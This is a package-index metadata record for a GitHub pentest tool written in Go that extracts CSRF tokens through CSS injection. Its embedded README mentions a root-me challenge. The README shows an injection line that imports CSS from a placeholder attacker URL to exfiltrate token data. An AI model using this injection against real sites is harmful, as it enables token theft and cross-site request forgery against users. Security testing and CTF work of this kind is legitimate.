{"id":19544860,"url":"https://github.com/ariary/cssrf","last_synced_at":"2025-04-26T19:31:48.401Z","repository":{"id":64297281,"uuid":"498757143","full_name":"ariary/cssrf","owner":"ariary","description":"Ease CSS exfiltration ","archived":false,"fork":false,"pushed_at":"2023-02-11T21:12:16.000Z","size":4890,"stargazers_count":6,"open_issues_count":2,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-04T17:11:39.374Z","etag":null,"topics":["csrf","css","exfiltration","pentest-tool","websecurity"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ariary.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-06-01T13:53:35.000Z","updated_at":"2024-12-15T20:47:18.000Z","dependencies_parsed_at":"2024-06-20T01:35:13.750Z","dependency_job_id":"65a9759d-5d65-440f-9704-fcb9ddc9f145","html_url":"https://github.com/ariary/cssrf","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Fcssrf","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Fcssrf/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Fcssrf/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Fcssrf/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ariary","download_url":"https://codeload.github.com/ariary/cssrf/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251041427,"owners_count":21527193,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["csrf","css","exfiltration","pentest-tool","websecurity"],"created_at":"2024-11-11T03:32:39.544Z","updated_at":"2025-04-26T19:31:48.030Z","avatar_url":"https://github.com/ariary.png","language":"Go","readme":"# cssrf\n\n\u003cdiv align=center\u003e\n\u003cpre\u003e\u003ccode\u003e\n\u003cb\u003eExtract juicy information using CSS injection\n\u003ci\u003eespecially csrf token 🥜\u003c/i\u003e\u003c/b\u003e\n\u003cbr\u003e\n\u003csup\u003eBasically the same thing as \u003ci\u003e\u003ca href=https://github.com/d0nutptr/sic\u003ehttps://github.com/d0nutptr/sic\u003c/a\u003e\u003c/i\u003e but in Golang\n\u003cbr\u003eI try my best to change the rust code but I lost so many time\u003c/sup\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\n## Show me!\n\nAll you need is **launch** `cssrf`:\n```shell\ncssrf [flags] # nothing crazy =\u003e cssrf -h to get flags info\n```\n\n**Inject**  the malicious css:\n```html\n\u003c!-- in \u003cstyle\u003e tag --\u003e\n@import url(\"https://[ATTACKER_URL]/malicious.css\");\n```\n\nAnd **wait**:\n\n![demo](https://github.com/ariary/cssrf/blob/main/cssrf.gif)\n\n*This help me solving a [root-me](https://www.root-me.org/fr/Challenges/Web-Client/CSS-Exfiltration) challenge*\n\n\u003csup\u003ePosting solution is forbidden, thus the csrf token is not integer\u003c/sup\u003e\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fariary%2Fcssrf","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fariary%2Fcssrf","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fariary%2Fcssrf/lists"}